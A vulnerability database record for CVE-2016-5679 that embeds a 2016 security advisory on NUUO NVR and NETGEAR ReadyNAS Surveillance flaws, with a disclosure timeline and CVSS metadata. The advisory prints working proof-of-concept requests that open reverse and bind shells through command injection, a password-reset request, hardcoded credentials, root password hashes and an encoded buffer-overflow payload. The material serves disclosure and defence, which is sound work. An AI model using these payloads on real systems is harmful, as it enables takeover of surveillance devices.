%6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%73%3b%20%2f%62%69%6e%2f%62%61%73%68%20%2d%69%20%3c%20%2f%74%6d%70%2f%73%20%32%3e%26%31%20%7c%20%6f%70%65%6e%73%73%6c%20%73%5f%63%6c%69%65%6e%74%20%2d%71%75%69%65%74%20%2d%63%6f%6e%6e%65%63%74%20%31%39%32%2e%31%36%38%2e%31%33%33%2e%32%30%34%3a%34%34%34%34%20%3e%20%2f%74%6d%70%2f%73%3b%20%72%6d%20%2f%74%6d%70%2f%73%20%26 ("mkfifo /tmp/s; /bin/bash -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.133.204:4444 > /tmp/s; rm /tmp/s &")
Illustration: sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa{second_gadget}{system_address}aaaa{first_gadget}aaaaaaaaaaaa{payload}
Exploit for ReadyNAS Surveillance v1.1.2 ("sn" parameter value): sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%91%66%cd%b6%bc%91%ef%b6aaaa%9c%1d%d8%b6aaaaaaaaaaaa%6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%73%3b%20%2f%62%69%6e%2f%62%61%73%68%20%2d%69%20%3c%20%2f%74%6d%70%2f%73%20%32%3e%26%31%20%7c%20%6f%70%65%6e%73%73%6c%20%73%5f%63%6c%69%65%6e%74%20%2d%71%75%69%65%74%20%2d%63%6f%6e%6e%65%63%74%20%31%39%32%2e%31%36%38%2e%31%33%33%2e%32%30%34%3a%34%34%34%34%20%3e%20%2f%74%6d%70%2f%73%3b%20%72%6d%20%2f%74%6d%70%2f%73%20%26
Note that due to the ASLR in the ReadyNAS his exploit has be attempted at few times in order for it to work. Usually less than 20 tries is enough to get the reverse shell to connect back.
Local exploitation: This vulnerability can be exploited locally by a logged in user to escalate privileges to root on the NVRmini2 and admin on the ReadyNAS with the following command: CGI_DEBUG=qwe23622260 cgi_main transfer_license 'method=offline&sn=' The cgi_main binary is located at "/apps/surveillance/bin/cgi_main" on the ReadyNAS and "/NUUO/bin/cgi_main" on the NVRmini2.
It is likely that all other vulnerabilities in this advisory are exploitable by a local attacker, however this has only been tested for the stack buffer overflow.
Fix: NETGEAR and Nuuo did not respond to CERT/CC coordination efforts (see Timeline below), so no fix is available. Do not expose any of these devices to the Internet or any networks with unstrusted hosts.
Timeline: 28.02.2016: Disclosure to CERT/CC. 27.04.2016: Requested status update from CERT - they did not receive any response from vendors. 06.06.2016: Requested status update from CERT - still no response from vendors. Contacted Nuuo and NETGEAR directly. NETGEAR responded with their "Responsible Disclosure Guidelines", to which I did not agree and requested them to contact CERT if they want to know the details about the vulnerabilities found. No response from Nuuo. 13.06.2016: CERT sent an update saying that NETGEAR has received the details of the vulnerabilities, and they are attempting to contact Nuuo via alternative channels. 07.07.2016: CERT sent an update saying that they have not received any follow up from both Nuuo and NETGEAR, and that they are getting ready for disclosure. 17.07.2016: Sent an email to NETGEAR and Nuuo warning them that disclosure is imminent if CERT doesn't receive a response or status update. No response received. 01.08.2016: Sent an email to NETGEAR and Nuuo warning them that disclosure is imminent if CERT doesn't receive a response or status update. No response received. 04.08.2016: Coordinated disclosure with CERT.
References: [1] https://www.kb.cert.org/vuls/id/856152
================ Agile Information Security Limited http://www.agileinfosec.co.uk/
Show details on source websiteEnabling secure digital business >>
{
"affected_products": {
"_id": null,
"data": [
{
"_id": null,
"model": "readynas surveillance",
"scope": "eq",
"trust": 1.6,
"vendor": "netgear",
"version": "1.1.2"
},
{
"_id": null,
"model": "nvrmini 2",
"scope": "eq",
"trust": 1.6,
"vendor": "nuuo",
"version": "3.0.0"
},
{
"_id": null,
"model": "nvrmini 2",
"scope": "eq",
"trust": 1.6,
"vendor": "nuuo",
"version": "2.2.1"
},
{
"_id": null,
"model": "nvrmini 2",
"scope": "eq",
"trust": 1.6,
"vendor": "nuuo",
"version": "2.0.0"
},
{
"_id": null,
"model": "nvrmini 2",
"scope": "eq",
"trust": 1.6,
"vendor": "nuuo",
"version": "1.7.6"
},
{
"_id": null,
"model": null,
"scope": null,
"trust": 0.8,
"vendor": "nuuo",
"version": null
},
{
"_id": null,
"model": null,
"scope": null,
"trust": 0.8,
"vendor": "netgear",
"version": null
},
{
"_id": null,
"model": "nvrmini 2",
"scope": "eq",
"trust": 0.8,
"vendor": "nuuo",
"version": "1.7.6 to 3.0.0"
},
{
"_id": null,
"model": "readynas surveillance",
"scope": "eq",
"trust": 0.8,
"vendor": "net gear",
"version": "1.1.2"
},
{
"_id": null,
"model": "inc nvrmini",
"scope": "eq",
"trust": 0.6,
"vendor": "nuuo",
"version": "2\u003e=21.7.6\u003c=3.0.0"
},
{
"_id": null,
"model": "nvrsolo",
"scope": "eq",
"trust": 0.3,
"vendor": "nuuo",
"version": "1.0"
},
{
"_id": null,
"model": "readynas surveillance",
"scope": "eq",
"trust": 0.3,
"vendor": "netgear",
"version": "1.1.1"
},
{
"_id": null,
"model": "nvrmini",
"scope": "eq",
"trust": 0.3,
"vendor": "nuuo",
"version": "23.0"
},
{
"_id": null,
"model": "readynas surveillance",
"scope": "eq",
"trust": 0.3,
"vendor": "netgear",
"version": "1.4.1"
},
{
"_id": null,
"model": "nvrsolo",
"scope": "eq",
"trust": 0.3,
"vendor": "nuuo",
"version": "2.0"
},
{
"_id": null,
"model": "nvrmini",
"scope": "eq",
"trust": 0.3,
"vendor": "nuuo",
"version": "21.7.5"
},
{
"_id": null,
"model": "crystal",
"scope": "eq",
"trust": 0.3,
"vendor": "nuuo",
"version": "2.2.5"
},
{
"_id": null,
"model": "crystal",
"scope": "eq",
"trust": 0.3,
"vendor": "nuuo",
"version": "3.2"
},
{
"_id": null,
"model": "nvrsolo",
"scope": "eq",
"trust": 0.3,
"vendor": "nuuo",
"version": "3.0"
},
{
"_id": null,
"model": "nvrmini",
"scope": "eq",
"trust": 0.3,
"vendor": "nuuo",
"version": "22.0"
},
{
"_id": null,
"model": "crystal",
"scope": "eq",
"trust": 0.3,
"vendor": "nuuo",
"version": "2.2.1"
}
],
"sources": [
{
"db": "CERT/CC",
"id": "VU#856152"
},
{
"db": "CNVD",
"id": "CNVD-2016-06321"
},
{
"db": "BID",
"id": "92318"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-004493"
},
{
"db": "CNNVD",
"id": "CNNVD-201608-272"
},
{
"db": "NVD",
"id": "CVE-2016-5679"
}
]
},
"configurations": {
"_id": null,
"data": [
{
"CVE_data_version": "4.0",
"nodes": [
{
"cpe_match": [
{
"cpe22Uri": "cpe:/o:nuuo:nvrmini_2",
"vulnerable": true
},
{
"cpe22Uri": "cpe:/a:netgear:readynas_surveillance",
"vulnerable": true
}
],
"operator": "OR"
}
]
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2016-004493"
}
]
},
"credits": {
"_id": null,
"data": "Pedro Ribeiro (pedrib@gmail.com) of Agile Information Security.",
"sources": [
{
"db": "BID",
"id": "92318"
},
{
"db": "CNNVD",
"id": "CNNVD-201608-272"
}
],
"trust": 0.9
},
"cve": "CVE-2016-5679",
"cvss": {
"_id": null,
"data": [
{
"cvssV2": [
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "SINGLE",
"author": "nvd@nist.gov",
"availabilityImpact": "COMPLETE",
"baseScore": 9.0,
"confidentialityImpact": "COMPLETE",
"exploitabilityScore": 8.0,
"id": "CVE-2016-5679",
"impactScore": 10.0,
"integrityImpact": "COMPLETE",
"severity": "HIGH",
"trust": 1.9,
"vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C",
"version": "2.0"
},
{
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "CNVD",
"availabilityImpact": "PARTIAL",
"baseScore": 6.8,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 8.6,
"id": "CNVD-2016-06321",
"impactScore": 6.4,
"integrityImpact": "PARTIAL",
"severity": "MEDIUM",
"trust": 0.6,
"vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P",
"version": "2.0"
},
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "SINGLE",
"author": "VULHUB",
"availabilityImpact": "COMPLETE",
"baseScore": 9.0,
"confidentialityImpact": "COMPLETE",
"exploitabilityScore": 8.0,
"id": "VHN-94498",
"impactScore": 10.0,
"integrityImpact": "COMPLETE",
"severity": "HIGH",
"trust": 0.1,
"vectorString": "AV:N/AC:L/AU:S/C:C/I:C/A:C",
"version": "2.0"
}
],
"cvssV3": [
{
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"author": "nvd@nist.gov",
"availabilityImpact": "HIGH",
"baseScore": 8.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"exploitabilityScore": 2.8,
"id": "CVE-2016-5679",
"impactScore": 5.9,
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"trust": 1.8,
"userInteraction": "NONE",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.0"
}
],
"severity": [
{
"author": "nvd@nist.gov",
"id": "CVE-2016-5679",
"trust": 1.0,
"value": "HIGH"
},
{
"author": "NVD",
"id": "CVE-2016-5679",
"trust": 0.8,
"value": "High"
},
{
"author": "CNVD",
"id": "CNVD-2016-06321",
"trust": 0.6,
"value": "MEDIUM"
},
{
"author": "CNNVD",
"id": "CNNVD-201608-272",
"trust": 0.6,
"value": "CRITICAL"
},
{
"author": "VULHUB",
"id": "VHN-94498",
"trust": 0.1,
"value": "HIGH"
},
{
"author": "VULMON",
"id": "CVE-2016-5679",
"trust": 0.1,
"value": "HIGH"
}
]
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2016-06321"
},
{
"db": "VULHUB",
"id": "VHN-94498"
},
{
"db": "VULMON",
"id": "CVE-2016-5679"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-004493"
},
{
"db": "CNNVD",
"id": "CNNVD-201608-272"
},
{
"db": "NVD",
"id": "CVE-2016-5679"
}
]
},
"description": {
"_id": null,
"data": "cgi-bin/cgi_main in NUUO NVRmini 2 1.7.6 through 3.0.0 and NETGEAR ReadyNAS Surveillance 1.1.2 allows remote authenticated users to execute arbitrary commands via shell metacharacters in the sn parameter to the transfer_license command. NUUO NVRmini 2, NVRsolo, Crystal, and Netgear ReadyNAS Surveillance products have web management interfaces containing multiple vulnerabilities that can be leveraged to gain complete control of affected devices. NUUONVRmini2 is a network video recorder from NUUO. NetGearReadyNASSurveillance is a comprehensive IP video surveillance solution that integrates video surveillance software, storage, switching and network management with NetGear. An operating system command injection vulnerability exists in the version of NUUONVRmini21.7.6 to 3.0.0 and the version of NetGearReadyNASSurveillance 1.1.2, which is caused by the program failing to properly validate user-submitted input. An attacker could exploit the vulnerability to execute arbitrary code by sending a specially crafted request. NUUO and Netgear Network Multiple Products are prone to multiple security vulnerabilities. Setup is simple and easy, with automatic port forwarding settings built in. NVRmini 2 supports POS integration, making this the perfect solution for small retail chain stores. NVRmini 2 also comes full equipped as a NAS, so you can enjoy the full storage benefits like easy hard drive hot-swapping and RAID functions for data protection. Choose NVR and know that your valuable video data is safe, always.\"\n\"NVRsolo is NUUOas answer to hassle free, lightweight NVR system. It is small in size yet able to handle heavy duty tasks. With local HDMI/VGA display and keyboard/mouse input built right into the unit, configuring NVRsolo is easy and simple. Built on solid Linux foundation, we sacrificed nothing except unnecessary bulk to make NVRsolo the award winning standalone NVR solution you have been looking for. NVRsolo\u0027s flexibility doesn\u0027t end there. For those needing more storage options, we offer 8 bay versions to meet your needs.\"\n\"NUUO CrystalaC/ is the product that represents the next stage in VMS evolution. Rock solid, easily manageable, with powerful recording and viewing options available. Featuring revolutionary modular system structure that is made to handle large project size, NUUO CrystalaC/ is the ideal choice for your enterprise. Small businesses and corporate branch offices require a secure way to protect physical assets, but may lack deep security expertise or a big budget. A user-friendly NVR system should combine fast and flexible configuration with easy operation. With a few simple steps for installation, the web-based management leads users to configure, monitor and playback video everywhere. UPnP search, auto camera detection and GUI schedule save setting-up time, while the easy drag and drop camera, auto scan, preset point patrolling, and multiple views offer users a prime monitoring experience.\"\n\n\n\u003e\u003e Summary:\nNUUO is a vendor of Network Video Recording (NVR) systems for surveillance cameras. These NVR are Linux embedded video recording systems that can manage a number of cameras and are used worldwide by public institutions, banks, SME\u0027s, etc. \n\nThe web interface contains a number of critical vulnerabilities that can be abused by unauthenticated attackers. These consist of monitoring backdoors left in the PHP files that are supposed to be used by NUUO\u0027s engineers, hardcoded credentials, poorly sanitised input and a buffer overflow which can be abused to achieve code execution on NUUO\u0027s devices as root, and on NETGEAR as the admin user. \n\nAlthough only the NVRmini 2, NVRsolo, Crystal and ReadyNAS Surveillance devices are known to be affected, it is likely that the same code is used in other NUUO devices or even other third party devices (the firmware is littered with references to other devices like NUUO Titan). However this has not been confirmed as it was not possible to access all NUUO and third party devices that might be using the same code. \n\nA special thanks to CERT/CC (https://www.cert.org/) for assistance with disclosing the vulnerabilities to the vendors [1]. Metasploit exploits for #1, #2 and #3 have been released. \n\n\n\u003e\u003e Technical details:\n#1\nVulnerability: Improper Input Validation (leading to remote code execution)\nCVE-2016-5674\nAttack Vector: Remote\nConstraints: None, can be exploited by an unauthenticated attacker\nAffected products / versions:\n- NUUO NVRmini 2, firmware v1.7.5 to 3.0.0 (older firmware versions might be affected)\n- NUUO NVRsolo, firmware v1.0.0 to 3.0.0\n- ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected)\n- Other NUUO products that share the same web interface might be affected\n\nThe web inteface contains a hidden file named __debugging_center_utils___.php that improperly sanitises input to the log parameter, which is passed to the PHP system() call (snippet below):\n\nfunction print_file($file_fullpath_name)\n{\n $cmd = \"cat \" . $file_fullpath_name;\n echo $file_fullpath_name . \"\\n\\n\";\n system($cmd);\n}\n\n\u003c?php\n if (isset($_GET[\u0027log\u0027]) \u0026\u0026 !empty($_GET[\u0027log\u0027]))\n {\n $file_fullpath_name = constant(\u0027LOG_FILE_FOLDER\u0027) . \u0027/\u0027 . basename($_GET[\u0027log\u0027]);\n print_file($file_fullpath_name);\n }\n else\n {\n die(\"unknown command.\");\n }\n?\u003e\n\nThe file can be accessed by an unauthenticated user, and code execution can be achieved with the following proofs of concept:\n- ReadyNAS Surveillance:\nGET /__debugging_center_utils___.php?log=something%3bperl+-MIO%3a%3aSocket+-e+\u0027$p%3dfork%3bexit,if($p)%3b$c%3dnew+IO%3a%3aSocket%3a%3aINET(PeerAddr,\"192.168.1.204%3a9000\")%3bSTDIN-\u003efdopen($c,r)%3b$~-\u003efdopen($c,w)%3bsystem$_+while\u003c\u003e%3b\u0027\nThis will connect a shell back to 192.168.1.204 on port 9000, running as the \"admin\" user. \n\n- NVRmini 2 and NVRsolo:\nGET /__debugging_center_utils___.php?log=something%3btelnet+192.168.1.204+9999+|+bash+|+telnet+192.168.1.204+9998 \nThis will connect two shells to 192.168.1.204, one on port 9999 and another on port 9998. To execute commands, echo into the 9999 shell, and receive the output on the 9998 shell. Commands will run as the root user. \n\n\n#2\nVulnerability: Improper Input Validation (leading to remote code execution)\nCVE-2016-5675\nAttack Vector: Remote\nConstraints: Requires an administrator account\nAffected products / versions:\n- NUUO NVRmini 2, firmware v1.7.5 to 3.0.0 (older firmware versions might be affected)\n- NUUO NVRsolo, firmware v1.0.0 to 3.0.0\n- NUUO Crystal, firmware v2.2.1 to v3.2.0 (older firmware versions might be affected)\n- ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected)\n- Other NUUO products that share the same web interface might be affected\n\nThe handle_daylightsaving.php page does not sanitise input from the NTPServer parameter correctly and passes it to a PHP system() command (code snippet below):\n else if ($act == \u0027update\u0027)\n {\n $cmd = sprintf(\"/usr/bin/ntpdate %s\", $_GET[\u0027NTPServer\u0027]);\n \n $find_str = \"time server\";\n \n $sys_msg = system($cmd);\n $pos = strpos($sys_msg, $find_str);\n\nThe file can only be accessed by an authenticted user. \n- ReadyNAS Surveillance:\nGET /handle_daylightsaving.php?act=update\u0026NTPServer=bla%3b+whoami+\u003e+/tmp/test\nThis will create a /tmp/test file with the contents of \"admin\" (current user). \n\n- NVRmini 2 and NVRsolo:\nGET /handle_daylightsaving.php?act=update\u0026NTPServer=bla%3brm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2\u003e%261|nc+192.168.1.204+9000+\u003e/tmp/f\nConnects a shell to 192.168.1.204, port 9000, running as root. \n\n- Crystal:\nGET /handle_daylightsaving.php?act=update\u0026NTPServer=bla%3bbash+-i+\u003e%26+/dev/tcp/192.168.1.204/4444+0\u003e%26\nConnects a shell to 192.168.1.204, port 4444, running as root. \n\n\n#3\nVulnerability: Administrator password reset\nCVE-2016-5676\nAttack Vector: Remote\nConstraints: None, can be exploited by an unauthenticated attacker\nAffected products / versions:\n- NUUO NVRmini 2, firmware v1.7.5 to unknown (latest version v3.0.0 requires authentication)\n- NUUO NVRsolo, firmware v1.7.5 to unknown (latest version v3.0.0 requires authentication)\n- ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected)\n- Other NUUO products that share the same web interface might be affected\n\nOn older versions of the firmware and in the ReadyNAS Surveillance application unauthenticated users can call the cgi_system binary from the web interface. This binary performs a number of sensitive system commands, such as the loading of the default configuration that resets the administrator password. It seems that at least versions 2.2.1 and 3.0.0 of the NVRmini 2 and NVRsolo firmware are not affected, so this vulnerability was fixed either on these or earlier versions, but ReadyNAS Surveillance is still vulnerable. \n\nProof of concept:\nGET /cgi-bin/cgi_system?cmd=loaddefconfig\n\nThis will reset the admin password of the web interface to admin or password (depending on the firmware version) on all affected devices. \n\n\n#4\nVulnerability: Information disclosure (system processes, available memory and filesystem status)\nCVE-2016-5677\nAttack Vector: Remote\nConstraints: None, can be exploited by an unauthenticated attacker\nAffected products / versions:\n- NUUO NVRmini 2, firmware v1.7.5 to 3.0.0 (older firmware versions might be affected)\n- NUUO NVRsolo, firmware v1.0.0 to 3.0.0\n- ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected)\n- Other NUUO products that share the same web interface might be affected\n\nThe web interface contains a hidden page (__nvr_status___.php) with a hardcoded username and password that lists the current system processes, available memory and filesystem status. This information can be obtained by an unauthenticated user by performing the following request:\nPOST /__nvr_status___.php HTTP/1.1\nusername=nuuoeng\u0026password=qwe23622260\u0026submit=Submit\n\n\n#5 \nVulnerability: Harcoded root password \nCVE-2016-5678\nAffected products / versions:\n- NUUO NVRmini 2, firmware v1.0.0 to 3.0.0 \n- NUUO NVRsolo, firmware v1.0.0 to 3.0.0\n\nThe NVRmini 2 and NVRsolo contain two hardcoded root passwords (one is commented). These passwords have not been cracked, but they are present in the firmware images which are deployed to all NVRmini 2 / NVRsolo devices. \n\nNVRmini 2:\n #root:$1$1b0pmacH$sP7VdEAv01TvOk1JSl2L6/:14495:0:99999:7:::\n root:$1$vd3TecoS$VyBh4/IsumZkqFU.1wfrV.:14461:0:99999:7:::\n\nNVRsolo:\n #root:$1$1b0pmacH$sP7VdEAv01TvOk1JSl2L6/:14495:0:99999:7:::\n root:$1$72ZFYrXC$aDYHvkWBGcRRgCrpSCpiw1:0:0:99999:7:::\n\n \n#6 \nVulnerability: Command injection in cgi_main transfer license command\nCVE-2016-5679\nAttack Vector: Local / Remote\nConstraints: Requires an administrator account if exploited remotely; can be exploited locally by any logged in user\nAffected products / versions:\n- NUUO NVRmini 2, firmware v1.7.6 to 3.0.0 (older firmware versions might be affected)\n- ReadyNAS Surveillance, v1.1.2 (x86 and older versions might be affected)\n\nThe transfer_license command has a command injection vulnerability in the \"sn\" parameter:\ncgi_main?cmd=transfer_license\u0026method=offline\u0026sn=\";\u003ccommand\u003e;#\n\nSample exploit for NVRmini2 (open bind shell on port 4444):\nGET /cgi-bin/cgi_main?cmd=transfer_license\u0026method=offline\u0026sn=\"%3bnc+-l+-p+4444+-e+/bin/sh+%26+%23\n\nNETGEAR Surveillance doesn\u0027t have netcat, but we can get an openssl reverse shell to 192.168.133.204:4444 instead:\nGET /cgi-bin/cgi_main?cmd=transfer_license\u0026method=offline\u0026sn=\"%3bmkfifo+/tmp/s%3b+/bin/bash+-i+\u003c+/tmp/s+2\u003e%261+|+openssl+s_client+-quiet+-connect+192.168.133.204%3a4444+\u003e+/tmp/s%3b+rm+/tmp/s%3b%23\n\n\u003e Local exploitation:\nThis vulnerability can be exploited locally by a logged in user to escalate privileges to root on the NVRmini2 and admin on the ReadyNAS with the following command:\nCGI_DEBUG=qwe23622260 cgi_main transfer_license \u0027method=offline\u0026sn=\u003cPAYLOAD\u003e\u0027\nThe cgi_main binary is located at \"/apps/surveillance/bin/cgi_main\" on the ReadyNAS and \"/NUUO/bin/cgi_main\" on the NVRmini2. \n \n \n#7 \nVulnerability: Stack buffer overflow in cgi_main transfer license command\nCVE-2016-5680\nAttack Vector: Local / Remote\nConstraints: Requires an administrator account if exploited remotely; can be exploited locally by any logged in user\n- NUUO NVRmini 2, firmware v1.7.6 to 3.0.0 (older firmware versions might be affected)\n- ReadyNAS Surveillance, v1.1.2 (x86 and older versions might be affected)\n\nThe \"sn\" parameter in transfer_license cgi_main method not only has a command injection vulnerability, but also a stack buffer overflow. Below is the pseudocode of the affected function - as it can be seen in the sprintf line, the \"sn\" parameter is copied directly into a string with a fixed length of 128 characters. \n\nFunction 0x20BC9C (NVRmini2 firmware v3.0.0):\n method = getval(\"method\");\n sn = getval(\"sn\");\n (...)\n memset(\u0026command, 0, 128);\n sprintf(\u0026command, \"logger -p local0.info -t \u0027system\u0027 \\\"Activate license: %s\\\"\", sn);\n system(\u0026command);\n\n\u003e For example if the following request is performed:\nGET /cgi-bin/cgi_main?cmd=transfer_license\u0026method=offline\u0026sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa